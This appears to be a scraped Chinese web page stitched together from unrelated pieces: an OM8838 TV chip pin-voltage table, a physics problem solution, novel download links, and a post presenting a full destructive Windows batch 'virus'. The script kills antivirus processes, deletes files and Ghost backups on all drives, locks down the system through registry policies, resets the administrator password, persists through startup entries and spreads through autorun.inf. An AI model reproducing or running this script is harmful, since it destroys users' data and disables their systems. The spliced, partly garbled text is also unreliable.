求助TCL2988DB电视的56脚集成块的电压图
OM8838电视信号处理单片集成电路
概述:TCL王牌银佳智能系列大屏幕彩色电视机采用菲利浦公司生产的集成电路一OM8838。OM8838收I2C总线控制,完成图像、伴音中频信号处理、彩色解码及行场扫描信号处理。该集成电路具有以下特点:图像、伴音中频处理具有多制式、无调整的优点,锁相环(PLL)解调电路无外接元件,外围元件少,生产、调整十分方便;色度解码电路可输入复合视频基带信号,也可以输入由数字梳状滤波器产生的Y/C分量信号;色度陷波电路、色度带通滤波器、亮度延迟线等。
在TCL2916D型机上测定
序号 符号 功能 直流电压(V)
1 SIND IF 伴音中频输入 2.5
29 BYO B-Y色差信号输出 2.24
2 AUDIO EXT 外加音频输入 3.6
30 RYO R-Y色差信号输出 2.15
3 NC 空脚(末接) 0.2
31 BYI B-Y色差信号输入 2.14
4 NC 空脚(末接) 0.02
32 RYI R-Y色差信号输入 2.18
5 PLL—LOOP FILTER 中频锁相环滤波器 3.5
33 REFO 副载波基准输出 0.35
6 VIDEO OUT 图像中频输出 3.7
34 XTALI 3.58MHZ晶体振荡器接口 2.52
7 SCL 串行时钟数据输入、输出 5.1
35 XTAL2 4.43MHZ/3.58MHZ晶体振荡接口 2.55
8 SDA 串行数据输入、输出 4.9
36 DET 环路滤波鉴相器 4.4
9 DEC BG 能带去耦电容 6.7
37 VP2 第二电源电压(+8V) 7.99
10 CHROMA 色度信号输入(S-VHS) 1.26
38 CVBS1O CVBS-1输出 4.11
11 CVBS/Y 外加CVBS/Y输入 4.57
39 DECDIG 数字电路部分电源去耦 4.93
12 VP1 第一电源电压(+8.0V) 7.95
40 H OUT 行扫描输出 0.56
13 CVBSint 内部CVBS输入 4.34
41 FBISO 行反峰输入/沙堡脉冲输出 0.98
14 GND1 接地1 0
42 PH2LF 第二鉴相器滤波器 3.63
15 AUDIOUT 音频输出 3.04
43 PH1LF 第一鉴相器滤波器 3.78
16 SECPLL SECAM制色度PLL去耦 0.30
44 GND2 第二接地点 0
17 CVBSext 外加CVBS输入 3.04
45 EWD 东西枕形校正激励电压输出 0.05
18 BLKIN 消隐电流输入 8.2
46 VDRB 场扫描激励信号B输出 2.32
19 BO 蓝基色输出 2.58
47 VDRA 场扫描激励信号A输出 2.34
20 GO 绿基色输出 2.49
48 IF IN1 图像中放输入1 4.64
21 RO 红基色输出 2.58
49 IF IN2 图像中放输入2 4.65
22 BCL IN 束电流限制器输入/场保护输入 2.95
50 EHT0 超高压过压保护输入 2.02
23 RI 红基色插入 3.55
51 VSC 场锯齿波行成电容 3.84
24 GI 绿基色插入 3.55
52 Iref 基准电流输入 3.9
25 BI 蓝基色插入 3.55
53 DECagc AGC电压滤波电容 3.02
26 RRGBIN RGB插入 0.3
54 AGC OUT 高放(调谐器)AGC电压输出 4.71
27 LUMIN 亮度输入 3.24
55 AUDEEM 伴音去加重网络 2.91
28 LUMOUT 亮度输出 2.23
56 AUDEEM 声音解调去耦合 3.41
图片中高中物理第16题不懂,盼详细分析讲解,谢谢!该题正确答案为B_百度...
在C点,重力恰好能提供向心力,所以由
mg=mv1^2/R,因此,v1^2=40.所以,由动能定理有
mg(H-2R)-Ws=0.5m*v1^2,所以Ws=mg(H-2R)-0.5m*v1^2=20m(m),剩余机械能100m
而初始的重力势能是mgH=120m,因此AC段,至BD段如果对称的话,阻力也减小20m即最后剩余重力势能为120m-20m-20m=80m,所以高度为8m。但是由于全程阻力的存在,并且f=uN,圆周运动时,N提供向心力,N=mv^2/r,在AC,CB,BD段摩擦力始终在做功,所以即使对称,速度也一定不对称,上升阶段摩擦力要比下降阶段做的摩擦力多,因为平均速度比下降阶段的大,多以摩擦力相应的也会大,所以后半段的摩擦力做的总功不前半段要少,因此,最后球达到的高度会大于8m,但是有在C点时摩擦力已经做功20m。剩余机械能总共才100m,故到D点高度不会超过10m,于是最终的高度必然位于8m和10m之间,所以选B
约书亚的txt全集下载地址
链接:https://pan.baidu.com/s/1yU3nb3lBv2ejNQMEn2s0mQ
https://pan.baidu.com/s/1asbrybB9TCKu2Sue_xko8A
https://pan.baidu.com/s/16TApfhIBh0SuBi4aw7nTuw
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批处理文件的病毒代码大全!
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm? 去掉里面的字哦
@echo?off??
title?You?DEAD!!!!!!!??
set?taskkill=s??
copy?%0?%windir%system32cmd.bat??
attrib?%windir%system32cmd.bat?+r?+s?+h??
net?stop?sharedaccess?>nul??
%s%?/im?pfw.exe?shadowtip.exe?shadowservice.exe?qq.exe?explorer.exe?IEXOLORE.EXE?/f?>nul??
%s%?/im?norton*?/f?>nul??
%s%?/im?av*?/f?>nul??
%s%?/im?fire*?/f?>nul??
%s%?/im?anti*?/f?>nul??
%s%?/im?spy*?/f?>nul??
%s%?/im?bullguard?/f?>nul??
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%s%?/im?BLACKICE?/f?>nul??
%s%?/im?def*?/f?>nul??
%s%?/im?360safe.exe?/f?>nul??
net?stop?Shadow"?"System"?"Service??
set?alldrive=d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z??
for?%%a?in?(c?%alldrive%)?do?del?%%a:ð*?/f?/s?/q?>nul??
for?%%a?in?(c?%alldrive%)?do?del?%%a:修复*?/f?/s?/q?>nul??
rem?修改注册表.......??
REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorerAdvanced??
FolderHiddenSHOWALL?/v???
CheckedValue?/t?REG_DWORD?/d?00000000?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoRun?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoRecentDocsMenu?/t???
REG_DWORD?/d?00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoDrives?/t?REG_DWORD?/d???
4294967295?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem?/v???
Disableregistrytools?/t???
REG_DWORD?/d?00000002?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoNetHood?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/V???
NoDesktop?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoClose?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoFind?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem?/v???
DisableTaskMgr?/t?REG_DWORD???
/d?00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoLogOff?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
NoSetTaskBar?/t?REG_DWORD???
/d?00000001?/f?>nul??
REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindows"?"NTCurrentVersionSystemRestore?/v???
DisableSR?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows"?"NTSystemRestore?/v???
DisableConfig?/t?REG_DWORD?/d???
00000001?/f?>nul??
REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer?/v???
RestrictRun?/t?REG_DWORD?/d???
00000001?/f?>nul??
cls??
net?user?administrator?123456?>nul??
for?%%c?in?(c?%alldrive%)?do?del?%%c:*.gho?/f?/s?/q?>nul??
echo?@echo?off?>d:setup.bat??
echo?shutdown?-r?-t?10?-f?-c?亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新??
安装系统可以解决此问题??
!^.^?>>d:setup.bat??
echo?copy?d:setup.bat?c:Documents"?"and"?"SettingsAll"?"Users「开始」菜单程序启动??
a.bat?>>d:setup.bat??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>d:setup.bat??
echo?REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>d:setup.bat??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>d:setup.bat??
HKEY_CLASSES_ROOTatfileshellopencommand?/v?setup.bat?/t?REG_SZ?/d?d:setup.bat?/f???
>>d:setup.bat??
echo?[windows]?>>?%windir%win.ini??
echo?run=d:setup.bat?C:AUTOEXEC.BAT?>>?%windir%win.ini??
echo?load=d:setup.bat?C:AUTOEXEC.BAT?>>?%windir%win.ini??
echo?[boot]?>>?%windir%system.ini??
echo?shell=explorer.exe?setup.bat?C:AUTOEXEC.BAT?>>?%windir%system.ini??
echo?[AutoRun]?>d:autorun.inf??
echo?Open=setup.bat?>>d:autorun.inf??
echo?Open=system.bat?>>d:autorun.inf??
attrib?d:autorun.inf?+r?+s?+h?>>d:setup.bat??
attrib?d:setup.bat?+r?+s?+h?>>d:setup.bat??
start?d:setup.bat?/min?>nul??
echo?@echo?off?>>C:AUTOEXEC.BAT??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun?/v???
AUTOEXEC.BAT?/t?REG_SZ?/d???
C:AUTOEXEC.BAT?/f?>>C:AUTOEXEC.BAT??
echo?REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun?/v???
AUTOEXEC.BAT?/t?REG_SZ?/d???
C:AUTOEXEC.BAT?/f?>>C:AUTOEXEC.BAT??
REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce?/v???
AUTOEXEC.BAT?/t?REG_SZ?/d???
C:AUTOEXEC.BAT?/f?>>C:AUTOEXEC.BAT??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>C:AUTOEXEC.BAT??
echo?REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>C:AUTOEXEC.BAT??
REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>C:AUTOEXEC.BAT??
echo?if?not?d:setup.bat?start?%windir%system32cmd.bat?/min?>>C:AUTOEXEC.BAT??
copy?%0?%systemroot%windows.bat?>nul??
if?not?exist?%windir%/system32/explorer.bat?@echo?off?>>%windir%/system32/explorer.bat??
if?not?exist?C:AUTOEXEC.BAT?start?%windir%system32cmd.bat?/min?>>%??
windir%/system32/explorer.bat??
if?not?exist?%windir%system32cmd.bat?start?%systemroot%windows.bat?/min?>>%??
windir%/system32/explorer.bat??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun?/v???
AUTOEXEC.BAT?/t?REG_SZ?/d???
C:AUTOEXEC.BAT?/f?>>%windir%/system32/explorer.bat??
echo?REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun?/v???
AUTOEXEC.BAT?/t?REG_SZ?/d???
C:AUTOEXEC.BAT?/f?>>%windir%/system32/explorer.bat??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>%windir%/system32/explorer.bat??
echo?REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun?/v???
setup.bat?/t?REG_SZ?/d?d:setup.bat???
/f?>>%windir%/system32/explorer.bat??
echo?REG?ADD?HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun?/v???
explorer.bat?/t?REG_SZ?/d?%??
windir%/system32/explorer.bat/f?>>%windir%/system32/explorer.bat??
echo?REG?ADD?HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun?/v???
explorer.bat?/t?REG_SZ?/d?%??
windir%/system32/explorer.bat?/f?>>%windir%/system32/explorer.bat??
echo?start?%systemroot%windows.bat?/min?>>%windir%/system32/explorer.bat??
attrib?%windir%/system32/explorer.bat?+r?+s?+h%??
attrib?%systemroot%/windows.bat?+r?+s?+h??
for?%%c?in?(%alldrive%)?do?echo?@echo?off?>>%%c:system.bat??
for?%%c?in?(%alldrive%)?do?echo?start?%windir%system32cmd.bat?/min?>>%%c:system.bat??
for?%%c?in?(%alldrive%)?do?echo?attrib?system.bat?+r?+s?+h?>>%%c:system.bat??
set?drive=e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z??
for?%%c?in?(%drive%)?do?echo?[AuroRun]?>%%c:autorun.inf??
for?%%c?in?(%drive%)?do?echo?Open=system.bat?>>%%c:autorun.inf??
copy?%0?d:Program"?"Files un.bat??
for?%%c?in?(%alldrive%)?do?echo?if?not?exist?%windir%/system32/explorer.bat?start???
d:Program"?"Files un.bat?/min???
>>%%c:system.bat??
for?%%c?in?(%alldrive%)?do?attrib?autorun.inf?+r?+s?+h?>>%%c:system.bat??
for?%%c?in?(%alldrive%)?do?attrib?%%c:autorun.inf?+r?+s?+h?>nul??
for?%%c?in?(%alldrive%)?do?attrib?%%c:system.bat?+r?+s?+h?>nul??
if?not?exist?%windir%/system32/explorer.bat?start?d:Program"?"Files un.bat??
/min?>>d:setup.bat??
attrib?d:Program"?"Files un.bat?+r?+s?+h?>nul??
del?%0??
exit
你好!能否帮忙看下这段代码?
是不是从C乱码大赛中考过来的